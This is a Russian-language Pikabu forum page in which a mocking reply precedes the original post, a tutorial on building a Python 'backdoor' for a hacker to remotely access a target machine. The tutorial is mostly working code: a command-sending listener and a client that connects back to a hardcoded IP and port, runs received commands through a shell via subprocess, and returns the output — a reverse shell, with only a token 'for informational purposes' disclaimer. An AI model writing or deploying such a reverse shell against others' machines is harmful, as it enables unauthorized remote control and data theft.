Ответы к посту
Создание бэкдора на Python
8

Ответ на пост «Создание бэкдора на Python»

Все что нужно знать о сегодняшнем Пикабу

Ответ на пост «Создание бэкдора на Python» Юмор, Скриншот, Комментарии на Пикабу, Комментарии, Ответ на пост, Мат, Горячее, Пикабу, Посты на Пикабу

Легенда: Пост, имея около полусотни минусов, находится в горячем. Пост - говно, во всех смыслах

Создание бэкдора на Python

Бэкдор — это инструмент, который позволяет хакеру удаленно подключиться к целевой машине. В этой статье я покажу, как создать простой бэкдор на Pyhton

Основная цель бэкдора — отправлять и выполнять команды и получить удаленный доступ к файлам на целевой системе.

Создание бэкдора на Python

Во-первых, мы должны создать сервер, на котором будем работать. Сервер будет состоять из четырех частей:

1) Получение нашего локального IP и указанного порта.

2) Привязка IP-адреса и порта для создания сокета.

3) Запуск слушателя.

4) Отправка и получение команд в бесконечном цикле.

# Imports

import socket

# Getting our local IP and a specified port

HOST = '127.0.0.1' # '192.168.43.82'

PORT = 8081 # 2222

new_port = input('Input Host Port (Blank if default).')

if (new_port != "\n"):

REMOTE_PORT = new_port

# Binding the IP to the Port

# Creating a Socket

server = socket.socket()

server.bind((HOST, PORT))

# Starting the Listener

print('[+] Server Started')

print('[+] Listening For Client Connection ...')

server.listen(1)

client, client_addr = server.accept()

print(f'[+] {client_addr} Client connected to the server')

# Sending and receiving commands in an infinite loop

while True:

command = input('Enter Command : ')

command = command.encode()

client.send(command)

print('[+] Command sent')

output = client.recv(1024)

output = output.decode()

print(f"Output: {output}")

Затем мы подключимся к атакующему на основе жестко запрограммированного IP-адреса и порта, поскольку он не может получить их динамически.

Поскольку мы запускаем эту обратную оболочку на локальной машине, сокет будет выглядеть так:

REMOTE_HOST = '127.0.0.1'

REMOTE_PORT = 8081 # 2222

client = socket.socket()

Далее мы должны получать команды и использовать библиотечный подпроцесс для открытия терминала и параллельного запуска команд. Вот как это будет выглядеть:

command = client.recv(1024)

command = command.decode()

op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)

Полный код сервера выглядит следующим образом:

# Imports

from ctypes.wintypes import INT

import socket

import subprocess

# Setting Up IP/Sockets

REMOTE_HOST = '127.0.0.1'

REMOTE_PORT = 8081 # 2222

client = socket.socket()

# Initializing Connection

print("[-] Connection Initiating...")

client.connect((REMOTE_HOST, REMOTE_PORT))

print("[-] Connection initiated!")

# Runtime Loop

while True:

print("[-] Awaiting commands...")

command = client.recv(1024)

command = command.decode()

op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)

output = op.stdout.read()

output_error = op.stderr.read()

print("[-] Sending response...")

client.send(output + output_error)

Информация предоставлена для ознакомительных целей!
Мы в телеграме!

Показать полностью
Отличная работа, все прочитано!